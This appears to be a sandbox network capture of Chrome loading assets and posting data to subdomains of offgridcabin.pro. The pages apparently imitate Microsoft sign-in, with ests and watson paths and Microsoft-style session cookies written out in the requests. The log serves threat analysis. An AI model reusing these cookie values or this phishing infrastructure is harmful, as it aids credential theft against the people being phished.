2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 Data Ascii: "UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 Data Ascii: ,o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ig
2025-01-13 20:53:01 UTC	4	IN	Data Raw: 2b 53 2e 6d Data Ascii: +S.m
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 Data Ascii: .vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e(e
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c 21 53 Data Ascii: t")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|!S
2025-01-13 20:53:01 UTC	16383	IN	Data Raw: 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 69 73 Data Ascii: n i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49851	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:02 UTC	689	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:02 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:02 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:02 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:02 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:02 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:02 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:02 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:02 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:02 GMT
2025-01-13 20:53:02 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 41 35 39 34 34 41 34 46 46 32 35 38 45 0d 0a Data Ascii: Etag: 0x8DA5944A4FF258E
2025-01-13 20:53:02 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 32 38 20 4a 75 6e 20 32 30 32 32 20 32 30 3a 32 37 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Tue, 28 Jun 2022 20:27:38 GMT
2025-01-13 20:53:02 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49853	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:02 UTC	525	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:02 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:02 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:02 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:02 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:02 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:02 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:02 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:02 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:02 GMT
2025-01-13 20:53:02 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 37 36 43 42 31 44 36 37 42 39 32 39 0d 0a Data Ascii: Etag: 0x8D876CB1D67B929
2025-01-13 20:53:02 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 32 20 4f 63 74 20 32 30 32 30 20 32 30 3a 34 33 3a 32 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 22 Oct 2020 20:43:21 GMT
2025-01-13 20:53:02 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49864	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:03 UTC	515	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:03 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:03 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:03 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:03 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:03 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:03 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:03 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:03 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:03 GMT
2025-01-13 20:53:03 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 41 35 39 34 34 41 34 46 46 32 35 38 45 0d 0a Data Ascii: Etag: 0x8DA5944A4FF258E
2025-01-13 20:53:03 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 32 38 20 4a 75 6e 20 32 30 32 32 20 32 30 3a 32 37 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Tue, 28 Jun 2022 20:27:38 GMT
2025-01-13 20:53:03 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49863	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:03 UTC	1390	OUT	GET /?auth=2&sso_reload=true HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-13 20:53:03 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:03 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:03 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:03 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-13 20:53:03 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 32 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:02 GMT
2025-01-13 20:53:03 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:03 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2025-01-13 20:53:03 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:03 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:03 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-13 20:53:03 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49861	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:03 UTC	1695	OUT	POST /common/handlers/watson HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive Content-Length: 4883 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 421ba847-1fd5-44ee-be0a-06e48a22c2c5 canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe3q-XClMkROzBA_geOEM2bLzGJ3A0-SHsEIsOHP-D4dXC-ndsWCmyy6pyni2Lvdt2amKdg0ftTzlNEmLlhwVB7yK_UZQSLrOKUNyE6p7xZmUYCO8V6NFHToXS9IN0HfR3Qs-JUA4T2Uh9aWdtBvhLUnoIbxhvQxmbgJVPRVBOmsVJ0KvmP1410Vp9YDkHuZ9lcE5dILaX_eVr7nddLJygEiAA Content-Type: application/json; charset=UTF-8 hpgid: 6 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; 